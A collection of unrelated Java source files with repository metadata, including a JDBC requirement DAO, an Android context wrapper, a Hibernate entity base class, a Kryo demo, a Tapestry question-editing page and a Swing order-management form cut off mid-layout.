if(quantity.contains("tonnes"))
{
quantity=quantity.replace("tonnes","");
}
con=Mycon.getConnection();
ps=con.prepareStatement("select * from REQUIREMENT where NAME=? and USERTYPE=? and SUBCATEGORY=? and QUANTITY=?");
ps.setString(1,this.name);
ps.setString(2,user);
ps.setString(3,subcategory);
ps.setString(4,quantity);
rs=ps.executeQuery();
if(rs==null)return null;
return rs;
}
}
| UTF-8 | Java | 4,037 | java | Requirement.java | Java | [] | null | [] | package mypack;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
public class Requirement {
private String emailid,name,user,mobno,category,subcategory,quantity,unit;
private Connection con;
private PreparedStatement ps;
private ResultSet rs;
public Requirement() {
// TODO Auto-generated constructor stub
}
public Requirement(String emailid, String name, String user, String mobno,
String category, String subcategory, String quantity, String unit) {
super();
this.emailid = emailid;
this.name = name;
this.user = user;
this.mobno = mobno;
this.category = category;
this.subcategory = subcategory;
this.quantity = quantity;
this.unit = unit;
}
public Requirement(String emailid, String name, String user,
String subcategory, String quantity, String unit) {
super();
this.emailid = emailid;
this.name = name;
this.user = user;
this.subcategory = subcategory;
this.quantity = quantity;
this.unit = unit;
}
public Requirement(String emailid, String name, String user, String mobno) {
super();
this.emailid = emailid;
this.name = name;
this.user = user;
this.mobno = mobno;
}
public String getEmailid() {
return emailid;
}
public void setEmailid(String emailid) {
this.emailid = emailid;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getUser() {
return user;
}
public void setUser(String user) {
this.user = user;
}
public String getMobno() {
return mobno;
}
public void setMobno(String mobno) {
this.mobno = mobno;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public String getSubcategory() {
return subcategory;
}
public void setSubcategory(String subcategory) {
this.subcategory = subcategory;
}
public String getQuantity() {
return quantity;
}
public void setQuantity(String quantity) {
this.quantity = quantity;
}
public String getUnit() {
return unit;
}
public void setUnit(String unit) {
this.unit = unit;
}
public boolean insertrequirement() throws Exception {
con = Mycon.getConnection();
ps = con.prepareStatement("insert into REQUIREMENT values(?,?,?,?,?,?,?,?)");
ps.setString(1, this.emailid);
ps.setString(2, name);
ps.setString(3, user);
ps.setString(4, mobno);
ps.setString(5, category);
ps.setString(6, subcategory);
ps.setString(7, quantity);
ps.setString(8, unit);
int i=ps.executeUpdate();
if(i>0){
return true;
}
return false;
}
public ResultSet getrequirement() throws Exception
{
con=Mycon.getConnection();
ps=con.prepareStatement("Select * from (select EMAILID,NAME,USERTYPE,MOBNO,CATEGORY,SUBCATEGORY,QUANTITY,UNIT,ROW_NUMBER() OVER () AS RN FROM REQUIREMENT where EMAILID!=?) AS col order by RN desc");
ps.setString(1,this.emailid);
rs=ps.executeQuery();
if(rs==null)return null;
return rs;
}
public ResultSet getrequirementcontact() throws Exception
{
if(quantity.contains("kg"))
{
quantity=quantity.replace("kg","");
}
if(quantity.contains("quintal"))
{
quantity=quantity.replace("quintal","");
}
if(quantity.contains("tonnes"))
{
quantity=quantity.replace("tonnes","");
}
con=Mycon.getConnection();
ps=con.prepareStatement("select * from REQUIREMENT where NAME=? and USERTYPE=? and SUBCATEGORY=? and QUANTITY=?");
ps.setString(1,this.name);
ps.setString(2,user);
ps.setString(3,subcategory);
ps.setString(4,quantity);
rs=ps.executeQuery();
if(rs==null)return null;
return rs;
}
}
| 4,037 | 0.630171 | 0.626703 | 244 | 14.528688 | 21.861599 | 199 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.389344 | false | false | 15 |
1e49f8bbb0af4e045140003fc945e4c06b62d15a | 11,982,958,770,166 | 600cf5428c5dcfe41c6314be970232596f90dda3 | /selector/src/main/java/com/luck/picture/lib/basic/PictureContextWrapper.java | 6ebe780aaf4c74f13e3194c53a19a1120200a8d6 | [
"Apache-2.0"
] | permissive | LuckSiege/PictureSelector | https://github.com/LuckSiege/PictureSelector | d59a64773e86ec0854a4d66f41b5f5001eec5ca8 | 635d33463bee291370e7aae2b92f497e2a6dfe29 | refs/heads/version_component | 2023-08-29T14:53:41.476000 | 2023-07-30T03:52:07 | 2023-07-30T03:52:07 | 77,993,578 | 13,816 | 3,328 | Apache-2.0 | false | 2023-08-14T02:37:18 | 2017-01-04T07:47:39 | 2023-08-13T16:37:01 | 2023-07-30T03:52:07 | 530,136 | 12,639 | 2,923 | 388 | Java | false | false | package com.luck.picture.lib.basic;
import android.content.Context;
import android.content.ContextWrapper;
import com.luck.picture.lib.language.LanguageConfig;
import com.luck.picture.lib.language.PictureLanguageUtils;
/**
* @author:luck
* @date:2019-12-15 19:34
* @describe:ContextWrapper
*/
public class PictureContextWrapper extends ContextWrapper {
public PictureContextWrapper(Context base) {
super(base);
}
public static ContextWrapper wrap(Context context, int language, int defaultLanguage) {
if (language != LanguageConfig.UNKNOWN_LANGUAGE) {
PictureLanguageUtils.setAppLanguage(context, language, defaultLanguage);
}
return new PictureContextWrapper(context);
}
@Override
public Object getSystemService(String name) {
if (Context.AUDIO_SERVICE.equals(name)) {
return getApplicationContext().getSystemService(name);
}
return super.getSystemService(name);
}
}
| UTF-8 | Java | 992 | java | PictureContextWrapper.java | Java | [
{
"context": "ib.language.PictureLanguageUtils;\n\n/**\n * @author:luck\n * @date:2019-12-15 19:34\n * @describe:ContextWra",
"end": 241,
"score": 0.9841054081916809,
"start": 237,
"tag": "USERNAME",
"value": "luck"
}
] | null | [] | package com.luck.picture.lib.basic;
import android.content.Context;
import android.content.ContextWrapper;
import com.luck.picture.lib.language.LanguageConfig;
import com.luck.picture.lib.language.PictureLanguageUtils;
/**
* @author:luck
* @date:2019-12-15 19:34
* @describe:ContextWrapper
*/
public class PictureContextWrapper extends ContextWrapper {
public PictureContextWrapper(Context base) {
super(base);
}
public static ContextWrapper wrap(Context context, int language, int defaultLanguage) {
if (language != LanguageConfig.UNKNOWN_LANGUAGE) {
PictureLanguageUtils.setAppLanguage(context, language, defaultLanguage);
}
return new PictureContextWrapper(context);
}
@Override
public Object getSystemService(String name) {
if (Context.AUDIO_SERVICE.equals(name)) {
return getApplicationContext().getSystemService(name);
}
return super.getSystemService(name);
}
}
| 992 | 0.711968 | 0.699797 | 34 | 28 | 26.304775 | 91 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.411765 | false | false | 15 |
8c56d174302f07599eedc0f267170909b13eab87 | 12,438,225,295,113 | 6128868906331265661eb52dc4987e4d520ebb91 | /kredit/src/main/java/uz/bank/web/kredit/model/template/EntityUUID.java | 43551a79ead7c03b0f3ad0feec8e1faac3da4820 | [] | no_license | mahmudsalomov/service | https://github.com/mahmudsalomov/service | f086bb87a154bcf050017dc205957fc39e53d1cc | bab534efbff99d7185752d278af466c17fb092cd | refs/heads/master | 2023-05-14T09:46:00.849000 | 2021-06-09T14:19:27 | 2021-06-09T14:19:27 | 375,378,599 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package uz.bank.web.kredit.model.template;
import lombok.Data;
import org.hibernate.annotations.CreationTimestamp;
import org.hibernate.annotations.GenericGenerator;
import org.hibernate.annotations.Type;
import javax.persistence.*;
import java.io.Serializable;
import java.sql.Timestamp;
import java.util.UUID;
// UUID entity template
@Data
@MappedSuperclass
public abstract class EntityUUID implements Serializable {
@Id
@Type(type = "org.hibernate.type.PostgresUUIDType")
@GeneratedValue(generator = "uuid2")
@GenericGenerator(name = "uuid2", strategy = "org.hibernate.id.UUIDGenerator")
private UUID id;
@OrderBy
@CreationTimestamp
@Column(nullable = false, updatable = false)
private Timestamp createdAt;
}
| UTF-8 | Java | 753 | java | EntityUUID.java | Java | [] | null | [] | package uz.bank.web.kredit.model.template;
import lombok.Data;
import org.hibernate.annotations.CreationTimestamp;
import org.hibernate.annotations.GenericGenerator;
import org.hibernate.annotations.Type;
import javax.persistence.*;
import java.io.Serializable;
import java.sql.Timestamp;
import java.util.UUID;
// UUID entity template
@Data
@MappedSuperclass
public abstract class EntityUUID implements Serializable {
@Id
@Type(type = "org.hibernate.type.PostgresUUIDType")
@GeneratedValue(generator = "uuid2")
@GenericGenerator(name = "uuid2", strategy = "org.hibernate.id.UUIDGenerator")
private UUID id;
@OrderBy
@CreationTimestamp
@Column(nullable = false, updatable = false)
private Timestamp createdAt;
}
| 753 | 0.763612 | 0.760956 | 28 | 25.892857 | 21.156456 | 82 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.464286 | false | false | 15 |
c25c22119dad509defb14a4b43c6b46f3173260c | 8,160,437,898,846 | 7b82d70ba5fef677d83879dfeab859d17f4809aa | /_part2/cache-framework/src/net/oschina/demo/KryoDemo.java | ed91f72b1b1011edc3548377227ac25d695b44cf | [] | no_license | apollowesley/jun_test | https://github.com/apollowesley/jun_test | fb962a28b6384c4097c7a8087a53878188db2ebc | c7a4600c3f0e1b045280eaf3464b64e908d2f0a2 | refs/heads/main | 2022-12-30T20:47:36.637000 | 2020-10-13T18:10:46 | 2020-10-13T18:10:46 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package net.oschina.demo;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.ArrayList;
import java.util.List;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
/**
* Kryo 的演示程序
* @author Winter Lau
*/
public class KryoDemo {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
// ...
Output output = new Output(new FileOutputStream("file.bin"));
List<MyObject> lst = new ArrayList<MyObject>();
lst.add(new MyObject("Winter Lau",18));
lst.add(new MyObject("Oschina",5));
kryo.writeClassAndObject(output, lst);
output.close();
// ...
Input input = new Input(new FileInputStream("file.bin"));
@SuppressWarnings("unchecked")
List<MyObject> someObject = (List<MyObject>)kryo.readClassAndObject(input);
for(MyObject so : someObject){
System.out.printf("Name:%s,Age:%d\n",so.getName(), so.getAge());
}
input.close();
}
public static class MyObject {
private String name;
private int age;
public MyObject(){}
public MyObject(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
}
| UTF-8 | Java | 1,397 | java | KryoDemo.java | Java | [
{
"context": "ware.kryo.io.Output;\n\n/**\n * Kryo 的演示程序\n * @author Winter Lau\n */\npublic class KryoDemo {\n\n\tpublic static void ",
"end": 310,
"score": 0.999832034111023,
"start": 300,
"tag": "NAME",
"value": "Winter Lau"
},
{
"context": "ew ArrayList<MyObject>();\n\t\tlst.add(new MyObject(\"Winter Lau\",18));\n\t\tlst.add(new MyObject(\"Oschina\",5));\n\t\tkr",
"end": 582,
"score": 0.9996039271354675,
"start": 572,
"tag": "NAME",
"value": "Winter Lau"
}
] | null | [] | package net.oschina.demo;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.ArrayList;
import java.util.List;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
/**
* Kryo 的演示程序
* @author <NAME>
*/
public class KryoDemo {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
// ...
Output output = new Output(new FileOutputStream("file.bin"));
List<MyObject> lst = new ArrayList<MyObject>();
lst.add(new MyObject("<NAME>",18));
lst.add(new MyObject("Oschina",5));
kryo.writeClassAndObject(output, lst);
output.close();
// ...
Input input = new Input(new FileInputStream("file.bin"));
@SuppressWarnings("unchecked")
List<MyObject> someObject = (List<MyObject>)kryo.readClassAndObject(input);
for(MyObject so : someObject){
System.out.printf("Name:%s,Age:%d\n",so.getName(), so.getAge());
}
input.close();
}
public static class MyObject {
private String name;
private int age;
public MyObject(){}
public MyObject(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
}
| 1,389 | 0.687094 | 0.684932 | 58 | 22.913794 | 18.78672 | 77 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.982759 | false | false | 15 |
aa55e5e4d21f8162233675951f9f7cd031202e5c | 6,433,861,045,609 | e6bf7876281ee3daeb829054da2f167bb446cf38 | /src/main/java/com/fola/finance/dataaccess/ClientDAO.java | 62ce8622a2e711a332c13813e6ae85ac92004fbb | [] | no_license | jazzyF/TDDwithTestNGAndMockito | https://github.com/jazzyF/TDDwithTestNGAndMockito | c18a8343215b962e745f708f198f62a3491d7c73 | e29282a78b7259da590bb47cd071215181013cd0 | refs/heads/master | 2021-01-10T08:54:25.397000 | 2016-02-22T06:02:41 | 2016-02-22T06:02:41 | 51,928,377 | 0 | 0 | null | false | 2016-02-22T06:02:41 | 2016-02-17T14:28:10 | 2016-02-17T14:33:15 | 2016-02-22T06:02:41 | 67 | 0 | 0 | 0 | Java | null | null | package com.fola.finance.dataaccess;
import java.math.BigDecimal;
public interface ClientDAO {
Short getClientType(long clientId);
boolean saveBonusHistory(long clientId, BigDecimal bonus);
}
| UTF-8 | Java | 199 | java | ClientDAO.java | Java | [] | null | [] | package com.fola.finance.dataaccess;
import java.math.BigDecimal;
public interface ClientDAO {
Short getClientType(long clientId);
boolean saveBonusHistory(long clientId, BigDecimal bonus);
}
| 199 | 0.798995 | 0.798995 | 11 | 17.09091 | 20.065596 | 59 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.636364 | false | false | 15 |
c486815c129e3bc8d01c60d9593e72fef25387c3 | 10,411,000,771,647 | 15d31d991ed1dfe825271955d2f6e1a65c42f11a | /java/JavaMexico/src/main/java/org/javamexico/site/pages/preguntas/Editar.java | 24314593a736f9b6576b847ff108c7dcd9d070bb | [] | no_license | javamexico/javamexico | https://github.com/javamexico/javamexico | a98ea85282a7765ba456d29f89aa7337e130df5f | b9238df930de8a6dea69ac825dad463628c199f7 | refs/heads/master | 2021-01-10T19:22:35.982000 | 2015-03-14T00:04:26 | 2015-03-14T00:04:26 | 32,185,823 | 1 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
This file is part of JavaMexico.
JavaMexico is free software: you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation, either version 3
of the License, or (at your option) any later version.
JavaMexico is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with JavaMexico.
If not, see <http://www.gnu.org/licenses/>.
*/
package org.javamexico.site.pages.preguntas;
import java.util.ArrayList;
import java.util.List;
import org.apache.tapestry5.annotations.Import;
import org.apache.tapestry5.annotations.InjectComponent;
import org.apache.tapestry5.annotations.Property;
import org.apache.tapestry5.annotations.Service;
import org.apache.tapestry5.corelib.components.Zone;
import org.apache.tapestry5.ioc.annotations.Inject;
import org.javamexico.dao.PreguntaDao;
import org.javamexico.entity.pregunta.Pregunta;
import org.javamexico.entity.pregunta.TagPregunta;
import org.javamexico.site.base.Pagina;
import org.slf4j.Logger;
/** Esta pagina permite editar una pregunta existente (solo admins, o el autor de la pregunta).
*
* @author Enrique Zamudio
*/
@Import(stylesheet="context:layout/preguntas.css")
public class Editar extends Pagina {
@Inject
private Logger log;
@Property
private Pregunta pregunta;
@Property
private TagPregunta tag;
@Inject
@Service("preguntaDao")
private PreguntaDao qdao;
@Property
private String newtag;
@InjectComponent
private Zone tagzone;
Object onActivate(String ctxt) {
if (!getUserExists()) {
return Index.class;
}
try {
int pid = Integer.parseInt(ctxt);
pregunta = qdao.getPregunta(pid);
if (pregunta == null) {
return Index.class;
}
if (pregunta.getAutor().getUid() != getUser().getUid()) {
log.info("Redirijo a index porque usuario no es autor de la pregunta");
//TODO verificar si el usuario es administrador, en ese caso devolver null
return Index.class;
}
return null;
} catch (NumberFormatException ex) {
return Index.class;
}
}
Object onPassivate() {
if (pregunta == null) {
return "";
}
return pregunta.getPid();
}
void onSuccessFromEditar() {
pregunta.setStatus(1);
qdao.update(pregunta);
}
Object onActionFromEliminar() {
qdao.delete(pregunta);
return Index.class;
}
Object onActionFromRmtag(String ctxt) {
int idx = ctxt.indexOf('-');
if (idx > 0) {
pregunta = qdao.getPregunta(Integer.parseInt(ctxt.substring(0, idx)));
int tid = Integer.parseInt(ctxt.substring(idx + 1));
for (TagPregunta t : pregunta.getTags()) {
if (t.getTid() == tid) {
tag = t;
break;
}
}
if (tag != null) {
pregunta.getTags().remove(tag);
qdao.update(pregunta);
}
}
return tagzone.getBody();
}
public List<String> onProvideCompletionsFromAddtag(String parte) {
List<TagPregunta> tags = qdao.findMatchingTags(parte);
log.info("Tags encontrados: {}", tags);
ArrayList<String> rv = new ArrayList<String>(tags.size());
for (TagPregunta t : tags) {
rv.add(t.getTag());
}
return rv;
}
void onSuccessFromAddtags() {
qdao.addTag(newtag, pregunta);
}
public String getTagContext() {
return String.format("%d-%d", pregunta.getPid(), tag.getTid());
}
}
| UTF-8 | Java | 3,475 | java | Editar.java | Java | [
{
"context": "admins, o el autor de la pregunta).\n * \n * @author Enrique Zamudio\n */\n@Import(stylesheet=\"context:layout/preguntas.",
"end": 1381,
"score": 0.9998647570610046,
"start": 1366,
"tag": "NAME",
"value": "Enrique Zamudio"
}
] | null | [] | /*
This file is part of JavaMexico.
JavaMexico is free software: you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation, either version 3
of the License, or (at your option) any later version.
JavaMexico is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with JavaMexico.
If not, see <http://www.gnu.org/licenses/>.
*/
package org.javamexico.site.pages.preguntas;
import java.util.ArrayList;
import java.util.List;
import org.apache.tapestry5.annotations.Import;
import org.apache.tapestry5.annotations.InjectComponent;
import org.apache.tapestry5.annotations.Property;
import org.apache.tapestry5.annotations.Service;
import org.apache.tapestry5.corelib.components.Zone;
import org.apache.tapestry5.ioc.annotations.Inject;
import org.javamexico.dao.PreguntaDao;
import org.javamexico.entity.pregunta.Pregunta;
import org.javamexico.entity.pregunta.TagPregunta;
import org.javamexico.site.base.Pagina;
import org.slf4j.Logger;
/** Esta pagina permite editar una pregunta existente (solo admins, o el autor de la pregunta).
*
* @author <NAME>
*/
@Import(stylesheet="context:layout/preguntas.css")
public class Editar extends Pagina {
@Inject
private Logger log;
@Property
private Pregunta pregunta;
@Property
private TagPregunta tag;
@Inject
@Service("preguntaDao")
private PreguntaDao qdao;
@Property
private String newtag;
@InjectComponent
private Zone tagzone;
Object onActivate(String ctxt) {
if (!getUserExists()) {
return Index.class;
}
try {
int pid = Integer.parseInt(ctxt);
pregunta = qdao.getPregunta(pid);
if (pregunta == null) {
return Index.class;
}
if (pregunta.getAutor().getUid() != getUser().getUid()) {
log.info("Redirijo a index porque usuario no es autor de la pregunta");
//TODO verificar si el usuario es administrador, en ese caso devolver null
return Index.class;
}
return null;
} catch (NumberFormatException ex) {
return Index.class;
}
}
Object onPassivate() {
if (pregunta == null) {
return "";
}
return pregunta.getPid();
}
void onSuccessFromEditar() {
pregunta.setStatus(1);
qdao.update(pregunta);
}
Object onActionFromEliminar() {
qdao.delete(pregunta);
return Index.class;
}
Object onActionFromRmtag(String ctxt) {
int idx = ctxt.indexOf('-');
if (idx > 0) {
pregunta = qdao.getPregunta(Integer.parseInt(ctxt.substring(0, idx)));
int tid = Integer.parseInt(ctxt.substring(idx + 1));
for (TagPregunta t : pregunta.getTags()) {
if (t.getTid() == tid) {
tag = t;
break;
}
}
if (tag != null) {
pregunta.getTags().remove(tag);
qdao.update(pregunta);
}
}
return tagzone.getBody();
}
public List<String> onProvideCompletionsFromAddtag(String parte) {
List<TagPregunta> tags = qdao.findMatchingTags(parte);
log.info("Tags encontrados: {}", tags);
ArrayList<String> rv = new ArrayList<String>(tags.size());
for (TagPregunta t : tags) {
rv.add(t.getTag());
}
return rv;
}
void onSuccessFromAddtags() {
qdao.addTag(newtag, pregunta);
}
public String getTagContext() {
return String.format("%d-%d", pregunta.getPid(), tag.getTid());
}
}
| 3,466 | 0.72259 | 0.719137 | 127 | 26.362206 | 24.145123 | 95 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.818898 | false | false | 15 |
d372f2854f0ac368969fa0a3ddc4c7987b27af90 | 25,159,918,456,536 | cb357acf8fa9636e8b3313b3ef5c9ba806d7e56b | /src/form/IntFrmOrder.java | 7092fcd9839f7c118c69b9019e95be220931cbd0 | [] | no_license | icarorodrigues1994/Courier-Service-System | https://github.com/icarorodrigues1994/Courier-Service-System | b0b345c5ec891a0151426718aaf6babfc3d7269c | 167e2975f42b906b9bf99a91e634ca15ddee9625 | refs/heads/main | 2023-08-23T21:42:02.585000 | 2021-10-13T02:48:02 | 2021-10-13T02:48:02 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package form;
import bll.Order;
import dao.DatabaseDao;
import dao.DatabaseDaoImpl;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import javax.swing.JOptionPane;
import javax.swing.plaf.basic.BasicInternalFrameUI;
import javax.swing.table.DefaultTableModel;
public class IntFrmOrder extends javax.swing.JInternalFrame {
/**
* Creates new form IntFrmOrder
*/
private ArrayList<String> dataList;
public IntFrmOrder() {
initComponents();
this.setBorder(javax.swing.BorderFactory.createEmptyBorder(0, 0, 0, 0));
BasicInternalFrameUI bi = (BasicInternalFrameUI) this.getUI();
bi.setNorthPane(null);
DatabaseDao dd = new DatabaseDaoImpl();
loadDataToTable();
try {
dataList = dd.getDataFromFile("OrderDetails.txt");
} catch (Exception ex) {
JOptionPane.showMessageDialog(null, ex);
}
}
public void loadDataToTable() {
DatabaseDao dd = new DatabaseDaoImpl();
DefaultTableModel defaultTableModel = new DefaultTableModel(new String[]{"Order Id", "Customer Name", "Customer Contact", "Customer Address", "Weight", "Cost"}, 0);
try {
dataList = dd.getDataFromFile("OrderDetails.txt");
Object[] tableLines;
tableLines = dataList.toArray();
for (int i = 0; i < tableLines.length; i++) {
String lines = tableLines[i].toString();
String[] row = lines.split(",");
defaultTableModel.addRow(row);
}
} catch (IOException ex) {
JOptionPane.showMessageDialog(null, ex);
}
jTable1.setModel(defaultTableModel);
}
private boolean valid() {
String filePath = "OrderDetails.txt";
File file = new File(filePath);
try {
BufferedReader br = new BufferedReader(new FileReader(file));
Object[] tableLines = br.lines().toArray();
for (int i = 0; i < tableLines.length; i++) {
String lines = tableLines[i].toString().trim();
String[] dataRow = lines.split(",");
if (txtOID.getText().equals(dataRow[0])) {
JOptionPane.showMessageDialog(this, "Order Id should be unique");
return false;
}
}
} catch (Exception ex) {
JOptionPane.showMessageDialog(null, ex);
}
if (txtOID.getText() == null || txtOID.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Order Id is required");
return false;
} else if (txtCName.getText() == "" || txtCName.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Customer Name is required");
return false;
} else if (txtCContact.getText() == "" || txtCContact.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Customer Contact is required");
return false;
} else if (txtCAddr.getText() == "" || txtCAddr.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Customer Address is required");
return false;
} else if (txtWeight.getText() == "" || txtWeight.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Delivery Weight is required");
return false;
} else if (txtCost.getText() == "" || txtCost.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Delivery Cost is required");
return false;
}
return true;
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
txtOID = new javax.swing.JTextField();
txtCName = new javax.swing.JTextField();
txtCContact = new javax.swing.JTextField();
txtCAddr = new javax.swing.JTextField();
txtWeight = new javax.swing.JTextField();
jLabel8 = new javax.swing.JLabel();
txtCost = new javax.swing.JTextField();
btnAdd = new javax.swing.JButton();
btnUpdate = new javax.swing.JButton();
btnDelete = new javax.swing.JButton();
btnClear = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable();
setPreferredSize(new java.awt.Dimension(800, 575));
jPanel1.setBackground(new java.awt.Color(255, 255, 255));
jPanel1.setPreferredSize(new java.awt.Dimension(800, 55));
jLabel1.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
jLabel1.setText("Order Management");
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(33, 33, 33)
.addComponent(jLabel1)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(19, 19, 19)
.addComponent(jLabel1)
.addContainerGap(19, Short.MAX_VALUE))
);
jLabel2.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel2.setText("Order Id");
jLabel3.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel3.setText("Customer Name");
jLabel4.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel4.setText("Weight");
jLabel5.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel5.setText("Customer Contact ");
jLabel6.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel6.setText("Customer Address");
txtOID.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtOID.setPreferredSize(new java.awt.Dimension(200, 25));
txtCName.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCName.setPreferredSize(new java.awt.Dimension(200, 25));
txtCContact.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCContact.setPreferredSize(new java.awt.Dimension(200, 25));
txtCAddr.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCAddr.setPreferredSize(new java.awt.Dimension(200, 25));
txtWeight.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtWeight.setPreferredSize(new java.awt.Dimension(200, 25));
jLabel8.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel8.setText("Total Cost");
txtCost.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCost.setPreferredSize(new java.awt.Dimension(200, 25));
btnAdd.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnAdd.setText("Add");
btnAdd.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnAddActionPerformed(evt);
}
});
btnUpdate.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnUpdate.setText("Update");
btnUpdate.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnUpdateActionPerformed(evt);
}
});
btnDelete.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnDelete.setText("Delete");
btnDelete.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnDeleteActionPerformed(evt);
}
});
btnClear.setBackground(new java.awt.Color(255, 0, 51));
btnClear.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnClear.setForeground(new java.awt.Color(255, 255, 255));
btnClear.setText("Clear");
btnClear.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnClearActionPerformed(evt);
}
});
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jTable1.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
jTable1MouseClicked(evt);
}
});
jScrollPane1.setViewportView(jTable1);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(btnAdd)
.addComponent(jLabel2)
.addComponent(jLabel4)
.addComponent(jLabel5))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(txtOID, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCContact, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
